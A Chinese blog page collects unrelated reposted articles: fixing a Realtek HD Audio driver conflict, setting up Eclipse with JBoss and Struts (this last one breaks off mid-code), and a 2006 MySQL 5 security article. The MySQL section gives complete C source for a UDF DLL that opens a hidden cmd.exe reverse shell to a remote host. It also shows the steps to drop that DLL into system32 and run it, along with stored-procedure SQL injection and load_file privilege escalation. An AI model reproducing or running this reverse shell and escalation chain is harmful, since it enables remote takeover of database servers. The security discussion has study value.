Realtek High Definition Audio声卡驱动安装问题

1

分类 : 技术文摘 | 发表时间 29-05-2009

有关Realtek High Definition Audio声卡驱动,林网博客中提得算是比较多的,因为Linker在实践中也确实尝到了这个声卡安装的麻烦,因此关注得也比较多:[windows7声卡驱动Realtek HIgh Definition Audio的下载和安装] [Realtek High-Definition Audio Driver 1.99完整版声卡驱动更新推荐下载] [下载Realtek High Definition Audio for Vista音效驱动程序2.08] [Windows 7声卡驱动Realtek High Definition Audio的下载] [Realtek High-Definition Audio Driver 1.98声卡驱动更新推荐下载] [推荐更新Realtek HD Audio驱动1.90版下载]

问题现象:

1.安装Realtek HD Audio Driver 失败,设备管理器声卡处会显示"Microsoft HD Audio",无法卸载。

2.设备管理器声卡处显示Audio Device on High Definition Audio Bus,且为问号或感叹号,如下图:

Realtek High Definition Audio声卡驱动安装问题

且装声卡驱动时也提示安装失败!

问题分析:要解决问题首先要知道其原理,先说一下 HD Audio的原理.

HD Audio是High Definition Audio(高保真音频)的缩写,原称Azalia,是Intel与杜比(Dolby)公司合力推出的新一代音频规范.HD Audio的制定是为了取代目前的AC’97音频规范,与AC’97有许多共通之处,某种程序上可以说是AC’97的增强版,但并不能向下兼容AC’97标准.它在AC’97的基础上提供了全新的连接总路线,支持更高品质的音频以及更多的功能.与现行的AC’97相比,HD Audio具有数据传输带宽大、音频回放精度高、支持多声道阵列麦克风音频输入、CPU的占用率更低和底层驱动程序可以通用等特点.HD Audio是把驱动分为两层:总线驱(Bus Driver)和功能驱动(Function Drivers),其中"总线驱动"是实现最基本音频功能驱动,将统一集成在操作系统中.目前在Windows XP, Windows Server 2003, and Windows 2000系统中是微软提供的HD Audio Bus Driver,一般称之为通用音频结构(UAA)高清晰度音频类驱动程序."功能驱动"是实现特殊功能的功能性驱动,包括音频控制面板软件一般由CODEC

芯片厂商提供.

问题就是这样产生的:当系统搜索到HD芯片会安装系统自带的总线驱动,之后如果芯片厂的HD驱动中除了功能驱动外也包含总路线驱动,冲突就来了.就像Realtek的HD声卡驱动在Windows HD总线存在的情况下安装会提示"Audio HD Driver安装失败"的消息,而设备管理器声卡处会显示"Microsoft HD Audio"无法卸载,不提供音频功能 ,且修复此Bug的KB888111补丁于05年1月发布之前已经存在于系统中了,只能卸载一次,意味着不可能通过删除补丁的方法删除总线驱动.再如重装系统时,如果先将Windows的HD总线装好后再装声卡驱动,也会发生些类问题.

解决问题:

1.进入安全模式(否则相应驱动文件会自动还原),如何取消系统文件保护的就不用进安全模式.

2.进入X:\Windows\system32\drivers下,删除Hdaudbus.sys,Hdaudio.sys(hda打头的如果还有也删,这台就两个).

3.进入设备管理器。先停用在启用"Microsoft UAA Bus Driver for High Definition Audio",此时这个设备会打"!".这次再右键->点"Microsoft UAA Bus Driver

for High Definition Audio",删除,就能成功删掉系统的hd总线驱动了. (声音的那列安全模式里没有,删除总线等同于删除了它).

4.重启返回正常模式,熟悉的"发现新硬件"的画面就回来啦,全部取消后赶紧安装对应系统版本Realtek HD声卡的驱动吧,这次终于不会再有冲突了.

5.安装成功重启后系统音频图标显示,久违的声音又回来啦!

如果此问题还没有出现,当你装HD Audio系列声卡时,可以像以下方法安装,以免问题的出现.

首先确定系统中有没有HD总线驱动,看下X:\Windows\system32\Drivers\中有没有Hdaudbus.sys、Hdaudio.sys的文件,如有就全部删除,然后再装声卡.我的网吧系统就是这样装的声卡驱动,没有这样的问题出现了!至于其他文章说的补丁、安装驱动的顺序那些我都觉得没有用了,我都一一试过.

文章比较综述,引自:http://hi.baidu.com/haonan6888/blog/item/1c4d77f824a7b00ad9f9fd9f.html

Hackfing in Mysql5

0

分类 : 网络日志 | 发表时间 05-02-2006

Author:SuperHei_[At]_ph4nt0m.org
Blog:http://superhei.blogbus.com/
Team:http://www.ph4nt0m.org
Data: 2006-01-29

Mysql5增加很多新的功能,开始支持:存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然,但是新的东西的出来,必定也会带来新的安全问题,如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢?下面我给大家介绍下mysql5在安全方面的特点:

一、password authentication

mysql5的password()和mysql4.1一样,采用的基于SHA1的41位hash:

mysql> select password(‘mypass’);
+——————————————-+
| password(‘mypass’) |
+——————————————-+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+——————————————-+
1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基于16位md5:

mysql> SELECT PASSWORD(‘mypass’);
+——————–+
| PASSWORD(‘mypass’) |
+——————–+
| 6f8c114b58f2ce9e |
+——————–+

当使用低版本的Client连接时,回出现错误:Client does not support authentication protocol,为了解决这个问题,mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():

mysql> select old_password(‘mypass’);
+————————+
| old_password(‘mypass’) |
+————————+
| 6f8c114b58f2ce9e |
+————————+
1 row in set (0.09 sec)

二、数据字典(information_schema)

和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+—————————————+
| Tables_in_information_schema |
+—————————————+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+—————————————+
16 rows in set (0.17 sec)

在这个数据库里我们可以得到很多信息,包括当前用户权限:
mysql> select * from information_schema.USER_PRIVILEGES;
+———–+—————+—————-+————–+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+———–+—————+—————-+————–+
| ‘KK1′@’%’ | NULL | USAGE | NO |
+———–+—————+—————-+————–+
1 row in set (0.02 sec)

当前用户权限下可以访问的数据库,表,列名(这个在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯):

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+————–+————+————-+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+————–+————+————-+
| in | article | articleid |
| in | user | userid |
+————–+————+————-+
2 rows in set (0.02 sec)

还可以得到当前用户权限下的VIEWS,ROUTINES等,关于ROUTINES我们在下面的‘存储过程’里详细介绍。

[ps:注意是‘当前用户权限’如果是root,那么太可以得到所有的数据库名称以及表列名等等]

三、存储过程(Stored Procedures)

‘存储过程’的使用是mysql5的一个闪光点,在带来方便的同时,它也带来了新的安全隐患:如sql注射,用户权限提升等等。

D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)

mysql> delimiter ;

mysql> call test(1);
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 1 | angel | mypass |
+——–+———-+———-+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

上面我们使用root在数据库in里创建了一个名为test的存储过程。

a、SQL Injection

mysql> call test(1 and 1=1);
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 1 | angel | mypass |
+——–+———-+———-+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call test(1 and 1=2);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

b、跨权限
存储过程是继承创建者的权限的,如果存储过程是root创建的,当其他普通用户使用这个存储过程时,导致跨权限攻击:

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO ‘KK1′@’%’
-> IDENTIFIED BY ‘OBSCURE’;
Query OK, 0 rows affected (0.03 sec)

上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限,使用KK1登陆:
D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+—————-+————–+—————-+——————–+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+—————-+————–+—————-+——————–+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+—————-+————–+—————-+——————–+
2 rows in set (0.01 sec)

我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限:

mysql> call in.test(1 and length(load_file(‘c:/boot.ini’))>0);
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 1 | angel | mypass |
+——–+———-+———-+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call in.test(1 and length(load_file(‘c:/boot.ini’))<0);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

没有file权限的KK1可以使用in.test使用load_file(),我们还可以直接对mysql.user进行select,如果存储过程可以updata,insert注射,那么我们可以普通用户直接通过注射来修改mysql.user里的数据。

四、User-Defined Function

[ps:下面都是基于win系统] r/>
mysql5的udf在格式和安全方面做一些新的改变:
1、格式要求更加严格[xxx_init()初始化函数]
对于没有xxx_init()初始化函数 在以前的版本是可以使用的,但是在mysql5下会出现Can’t find function ‘xxx_init’ in library的错误,如:

mysql> create function ExitProcess returns integer soname ‘kernel32′;
ERROR 1127 (HY000): Can’t find function ‘ExitProcess_init’ in library

下面给出的代码是好友云舒写的,符合mysql5的udf格式要求可以在mysql5下使用:

/*******************************
* File: MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
********************************
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#define MAKE_DLL /* Build dll here */

#include “MySQL_Shell.h”

#pragma comment( lib, “ws2_32″ )

#define BUFFER_SIZE 1024

////////////////////////////////
//函数原型
/////////////////////////////////

BOOL StartWith( char *, char * );
void LogMsg( char * );

//////////////////////////////////
//MySQL模块初始化函数
////////////////////////////////

LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, “Shell() requires two arguments” );
return 1;
}

if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, “Shell() requires two string arguent” );
return 1;
}

return 0;
}

////////////////////////////////
//MySQL模块主功能函数,反向连接提供shell
/////////////////////////////////

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
SOCKET sock;
SOCKADDR_IN sin;
int ret;

// Create socket
sock = socket( AF_INET, SOCK_STREAM, 0 );
if ( sock == INVALID_SOCKET )
{
strcpy( error, “Create socket error” );

return -1;
}

sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(args->args[1]) );
sin.sin_addr.s_addr = inet_addr( args->args[0] );

//connect to remote server
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
if( ret == SOCKET_ERROR )
{
strcpy( error, “Connect error” );

return -1;
}

SECURITY_ATTRIBUTES sa;

sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );

STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );

GetStartupInfo( &si );

si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;

PROCESS_INFORMATION processInfo;

char cmdLine[] = “cmd.exe”;

ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);

char buff[BUFFER_SIZE] = { 0 };
unsigned long bytesRead = 0;
int i = 0;

while( TRUE )
{
memset( buff, 0, BUFFER_SIZE );

ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );

for(i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100);
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
}

if( bytesRead )
{
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;

ret = send( sock, buff, bytesRead, 0 );
if( ret <= 0 ) break;
}
else
{
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );

if( bytesRead <= 0 ) break;

if( StartWith( buff , “exit” ) == TRUE ) break;

ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
}
}

TerminateProcess( processInfo.hProcess, 0 );

CloseHandle( hReadPipe1 );
CloseHandle( hReadPipe2 );
CloseHandle( hWritePipe1 );
CloseHandle( hWritePipe2 );

closesocket( sock );

return 0;
}

///////////////////////////////////
//判断字符串是否以另一个字符串开头
////////////////////////////////////

BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);

if( memcmp( buf1,buf2,len ) == 0 )
{
return TRUE;
}
return FALSE;
}

/////////////////////////////////////
//记录日志信息,调试用
///////////////////////////////////

void LogMsg( char *msg )
{
FILE *fp;

fp = fopen( “C:\mysql.txt”, “a+” );

fputs( msg, fp );

fclose( fp );
}

/********************************
* File: MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*********************************

#ifdef MAKE_DLL
#define LIB extern “C” __declspec(dllexport)
#else
#define LIB extern “C” __declspec(dllimport)
#endif

#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */

typedef char my_bool;

enum Item_result
{
STRING_RESULT,REAL_RESULT,INT_RESULT
};

typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;

typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;

LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );

2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。
对于一般低权限的系统用户是没有对system32目录写权限的,在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破,具体如下:
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file(‘c:/udf.dll’));
Query OK, 1 row affected (0.08 sec)

mysql> select * from heige into dumpfile ‘c:/winnt/system32/heige.dll’;
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname ‘heige.dll’;
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+——-+—–+———–+———-+
| name | ret | dl | type |
+——-+—–+———–+———-+
| shell | 2 | heige.dll | function |
+——-+—–+———–+———-+
1 row in set (0.00 sec)

mysql> select shell(’127.0.0.1′,’1234′);
+—————————+
| shell(’127.0.0.1′,’1234′) |
+—————————+
| NULL |
+—————————+
1 row in set (0.97 sec)

五、参考
《MySQL 5.0 Reference Manual》 http://dev.mysql.com/doc/refman/5.0/en/
《Hackproofing MySQL》 http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
《给mysql加个自定义函数(windows

Eclipse整合JBoss4.0.0服务器开发-配置篇

0

分类 : 技术文摘 | 发表时间 28-09-2005

之前在网上看了很多关于这方面的文章,经过自己的一些测试,终于……,嘿,结果你也知道,OK了,开心地说,所以想给大家分享分享劳动果实!

其实我也跟大家一样,是一个喜欢追求时尚的爷们,所以当前配置是Eclipse3.1+JBoss4.0.0,说实在的,我对那些所谓的汉化版是较为鄙视的,学学E文也好嘛,不要老让老外们牵着鼻子,做什么事都迟他们一步,俺们能看懂E文,老外们看不懂中文(说实在的,中文比E文高级多了,所以也更难学),自然他们就会慢慢地跟着俺们的屁股追了,废话不多说,现在让我们切入正题吧!(有什么不懂的,记得给我回复哦)

这个配置要分四步走,具体如下:

首先,巧妇难为无米之炊,没有工具谈整合开发,可要比叫男人生小孩痛苦得多。所以,我们都下载相应工具。
Eclipse3.1下载:http://www.eclipse.org/downloads/index.php(若大的3.1,够醒目吧,哈!)
JBoss4.00下载:http://www.jboss.org/products/jbossas/downloads(哈,什么版本都有吧)
Lomboz下载:http://forge.objectweb.org/project/showfiles.php?group_id=97(很多版本,择优吧)
以上的三个网站,希望大家收藏起来,以后如果有新的版本,都可以在这上面看到,更新方便得多哦。

其次,将三个宝(压缩包)分别解压,eclipse-SDK-3.1-win32.zip解压至D:\Eclipse3.1目录(别告诉我你没有D盘),jboss-4.0.0.zip 解压至D:\jboss-4.0.0目录

再次,搭建Eclipse+Lomboz环境。
可能这个时候有朋友对Lomboz这东东还不太理解(俺当初就菜成这副模样,不骗你),其实呢,在百度(严重支持国货)里Search一下就知道了,它是一个通用插件,通过它,Eclipse可以整合各种服务器,不过这东东好像不太好配置,主要是因为版本问题,还好我运气没那么背,第一次就捡狗屎运的配置成功了(而且还在第二天找了个GF),这里有两个搭配(emf-sdo-runtime-I200412160800.zip+org.objectweb.lomboz_3.1.0.N20041219.zip 和 emf-sdo-runtime-I200503181320.rar+org.objectweb.lomboz_3.1.0.N20050106.zip),至于选择哪种就随你的便了,不过后一个版本要靠新一些(Why? Ask me? See the data!),然后给两个ZIP文件解压,将features目录下的所有内容拷贝到D:\Eclipse3.1\features目录,将plugins目录下的所有内容拷贝到D:\Eclipse3.1\plugins目录。(关键步骤到了)这时,进入D:\Eclipse3.1\configuration,删除org.eclipse.update文件夹(很多配置好的却没有显示都是没删这东东惹的祸),OK,启动Eclipse,选择菜单栏的Window,在下拉菜单中选择Preferences,弹出的Preferences属性框中,你看到了什么??是不是多了个Lomboz配置选项,对就这玩意,选择它,配置tool.jar的路径,我的配置是C:\Java\jdk1.5.0_04\lib\tools.jar(偶的JDK1.5装在C:\Java\jdk1.5.0_04目录下),再展开Lomboz项,这时你会看到Server Definitions,这个才是真正配置启动服务器类型的选项(例如JBoss、Weblogic、Tomcat、Resin、Websphere),下面就专门来讲解这个配置。

Server Definitions配置详解:
Server types:在下拉菜单中选择需要配置的服务器(有版本区别),在此我选择JBOSS 4.0.0
注:Server types下拉菜单默认最高支持到JBOSS 3.2.x,这方面的配置见附属说明。
Application Server Directory:D:/jboss-4.0.0(你的Jboss安装路径)
Classpath Variable:D:/jboss-4.0.0(你的Jboss安装路径)
其它项,全取默认值

如果你不幸是用Linux的朋友,哦,对不起,忘记事先说明了,偶用的是Windows(晕死)平台,兄弟们,这可是偶摸了一天两夜才难产出来的自创性文章,如果其中某环节出了什么差池,可别扁我哦!

附属说明:在D:\Eclipse3.1\plugins\com.objectlearn.jdt.j2ee_3.0.1\servers目录下有一系列配置文件,你可以在此目录下新建一个jboss400.server的文件,用Editplus打开它编辑,文件内容如下:


<serverDefinition
name=”JBOSS 4.0.0″
ejbModules=”true”
webModules=”true”
earModules=”true”>
<property id=”serverRootDirectory”
label=”Application Server Directory:”
type=”directory”
default=”D:/jboss-4.0.0″ />
<property id=”serverAddress”
label=”Address:”
type=”string”
default=”127.0.0.1″ />
<property id=”serverPort”
label=”Port:”
type=”string”
default=”8080″ />
<property id=”serverConfig”
label=”Server Configuration (minimal/default/all):”
type=”string”
default=”default” />
<property id=”classPathVariableName”
label=”Classpath Variable Name:”
type=”string”
default=”JBOSS400″ />
<property id=”classPath”
label=”Classpath Variable:”
type=”directory”
default=”D:/jboss-4.0.0″ />
<serverHome>${serverRootDirectory}</serverHome>
<webModulesDeployDirectory>${serverRootDirectory}/server/${serverConfig}/deploy</webModulesDeployDirectory>
<ejbModulesDeployDirectory>${serverRootDirectory}/server/${serverConfig}/deploy</ejbModulesDeployDirectory>
<earModulesDeployDirectory>${serverRootDirectory}/server/${serverConfig}/deploy</earModulesDeployDirectory>
<jndiInitialContextFactory>org.jnp.interfaces.NamingContextFactory</jndiInitialContextFactory>
<jndiProviderUrl>jnp://${serverAddress}:1099</jndiProviderUrl>
<startClass>org.jboss.Main</startClass>
<startWorkingDirectory>${serverRootDirectory}/bin</startWorkingDirectory>
<startVmParameters></startVmParameters>
<startProgramArguments>-c ${serverConfig}</startProgramArguments>
<stopClass>org.jboss.Shutdown</stopClass>
<stopWorkingDirectory>${serverRootDirectory}/bin</stopWorkingDirectory>
<stopVmParameters></stopVmParameters>
<stopProgramArguments>-S</stopProgramArguments>
<serverClassPath>
<jar type=”variable”>JDK_TOOLS</jar>
<jar type=”variable”>${classPathVariableName}/bin/run.jar</jar>
<jar type=”variable”>${classPathVariableName}/bin/shutdown.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/jboss-j2ee.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/javax.servlet.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/jboss-boot.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/jboss-system.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/concurrent.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jboss.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jnpserver.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jpl-pattern.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jpl-util.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jboss-transaction.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/bcel.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/jdom.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/xercesImpl.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/xml-apis.jar</jar>
<jar type=”var
iable”>${classPathVariableName}/lib/gnu-regexp.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/getopt.jar</jar>
</serverClassPath>
<clientClassPath>
<jar type=”variable”>${classPathVariableName}/client/jboss-j2ee.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/jnp-client.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/jboss-client.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/jboss-common-client.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/jbosssx-client.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/log4j.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/jnet.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/default/lib/jnpserver.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/jboss-jaas.jar</jar>
</clientClassPath>
<projectClassPath>
<jar type=”variable”>JDK_TOOLS</jar>
<jar type=”variable”>${classPathVariableName}/bin/run.jar</jar>
<jar type=”variable”>${classPathVariableName}/bin/shutdown.jar</jar>
<jar type=”variable”>${classPathVariableName}/client/jboss-j2ee.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/javax.servlet.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/jboss-boot.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/jboss-system.jar</jar>
<jar type=”variable”>${classPathVariableName}/lib/concurrent.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jboss.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jnpserver.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jpl-pattern.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jpl-util.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/jboss-transaction.jar</jar>
<jar type=”variable”>${classPathVariableName}/server/${serverConfig}/lib/bcel.jar</jar>
</projectClassPath>
<adminTool>
<web><deploy /><undeploy />
</web>
<ejb><deploy /><undeploy />
</ejb>
<ear><deploy /><undeploy />
<webModule><deploy /><undeploy />
</webModule>
<ejbModule><deploy /><undeploy />
</ejbModule>
</ear>
</adminTool>
<adminToolPath>
</adminToolPath>
</serverDefinition>

Eclipse开发struts完全指南

0

分类 : 技术文摘 | 发表时间 27-09-2005

一、准备安装程序

1、JDK 5.0 安装程序下载

下载地址:


https://jsecom15b.sun.com/ECom/EComActionServlet
/DownloadPage:~:com.sun.
sunit.sdlc.content.DownloadPageInfo;
jsessionid=502E87C71D77E3BC297C08B35
DAC9AD4;jsessionid=502E87C71D77E3BC297C08B35DAC9AD4



同意协议后,可以下载jdk-1_5_0_05-windows-i586-p.exe。

2、tomcat 5.5.9下载

下载地址:http://jakarta.apache.org/site/downloads/downloads_tomcat-5.cgi

最新版本是5.5.11alpha版,由于是测试版,所以,可能存在不确定的因素,所以,我们这里下载5.5.9 exe。

3、Sysdeo Eclipse Tomcat Launcher plugin 3.1beta版下载

下载地址:http://www.sysdeo.com/eclipse/tomcatplugin

这里下载tomcatPluginV31beta.zip。

4、eclipse 3.1安装程序下载

下载地址:http://www.eclipse.org/downloads/index.php

这里需要对应版本的JDT,如果下载的是Eclipse SDK版本就自带了,如果没有,同一个下载页面的靠后部分有JDT的下载链接,下载后将对应的文件分别拷贝进eclipse安装目录下的对应的文件夹即可。

这里我们下载eclipse-SDK-3.1-win32.zip 。

5、GEF 3.1 安装程序下载

下载地址:

http://download.eclipse.org/tools/gef/downloads/drops/R-3.1-200507071758/

index.php

这里我们下载GEF-ALL-3.1.zip。

6、Eclipse HTML Editor 1.6.7 安装程序下载

下载地址:https://sourceforge.jp/projects/amateras/files/?release_id=16537

#16537

这里我们下载:tk.eclipse.plugin.htmleditor_1.6.7.zip。

7、StrutsIDE 1.1.7 安装程序下载

下载地址:https://sourceforge.jp/projects/amateras/files/?release_id=16537#16537

这里我们下载:tk.eclipse.plugin.struts_1.1.7.zip。

好了,到此我们准备好了所有的安装包。
二、安装JDK并配置开发环境

这里只需要双击JDK安装包的exe文件,按照提示安装即可。安装完成后,将JDK安装目录下的bin文件夹设置进环境变量的path路径中去。同时,将JRE的lib目录下的rt.jar包设置进环境变量的classpath中去。

这里我们把JDK安装到了默认安装路径C:\Program Files\Java\jdk1.5.0_02下。这里就不多说了,网上可以搜索到很多JDK安装配置的文章。

三、安装tomcat服务器

只需要双击tomcat安装包的exe文件,按照提示安装即可,这里我们的安装目录为D:\Tomcat5.5,管理员密码设置为12345678。

四、安装Eclipse开发工具

只需要把eclipse-SDK-3.1-win32.zip安装包解压,然后把里面的eclipse文件夹剪切至想放置的目录即可,这里我们把eclipse安装到了D:\eclipse目录下。

在安装目录下双击eclipse.exe文件,即可启动eclipse。中间会询问默认的工作目录,你可以按其默认设定的,也可以自己设定工作目录,这里设置为E:\workspace目录。请选中Use this as the default and do not ask again选项,这样以后启动就不会再询问了。

到此eclipse安装成功。

五、安装tomcatPlugin插件

安装很简单,解压我们已经下载的安装包tomcatPluginV31beta.zip,将解压后的com.sysdeo.eclipse.tomcat_3.1.0.beta文件夹拷贝至D:\eclipse\plugins目录下即可。我们关掉已经打开的eclipse,重新打开,OK,现在我们会发现工具栏上多了几个雄猫的图标,就是tomcat的启动、停止和重启动的按钮。打开eclipse的window/preferences,我们在左边的树种也可以找到tomcat一项。

点击tomcat项,在右边我们选择version 5.x版本,然后设定tomcat home为D:\Tomcat5.5,Contexts directory为D:\Tomcat5.5\conf\Catalina\localhost。到此tomcat plugin设置完毕。

六、安装GEF插件

同样,将GEF-ALL-3.1.zip解压缩,然后拷贝解压后的eclipse目录下的三个文件夹到D:\eclipse目录下,覆盖所有的现有文件夹。

好了,到此GEF安装完成。
八、创建测试工程

如果已经完成了上面所有步骤,现在可以重新启动eclipse,使新安装的插件生效,开始正式开发了。

1、使用Sysdeo Tomcat Plugin创建tomcat工程:

File->new->others,打开新建向导对话框,在树中找到java->tomcat projects,选中,点击next按钮。在projects name中输入textweb,选中Use default,点击next。在下一个对话页面,保持默认设置,点击finished。这时,我们在eclipse的package explorer中会看到新建的工程testweb,创建完成。

2、加入struts框架

File->new->others,打开新建向导对话框,找到Amateras->Struts->Add Struts Support,选中点击next按钮。

保持默认设置,点击Finish按钮。这时,在eclipse的package explorer中会看到增加了很多struts的库文件,在WEB-INF下也增加了很多struts的配置文件。到此我们已经在项目加入了Struts框架。

3、编辑struts-config.xml文件

在WEB-INF文件夹下可以找到,右键点击菜单中选择open with->Amateras XML Editer可以直接对xml文本进行编辑,选择open with->struts-config.xml editor可以在图形模式下对文件进行编辑。

在右边的outline中点击相应的struts对象可以添加新的对象进去。这里我们只是说明这里有一个比较方便的struts-config.xml文件的编辑器,后面我们将开发一个简单的小程序。

4、新建一个页面index.jsp

File->new->others,打开新建向导对话框,找到Amateras->JSP File,点击next按钮,FileName改为index.jsp,点击Finish。然后打开index.jsp文件进行编辑,内容如下:


<%@page pageEncoding=”GBK”
contentType=”text/html;
charset=gb2312″ %>
<html>
<head>
<meta http-equiv=”Content-Type”
content=”text/html;
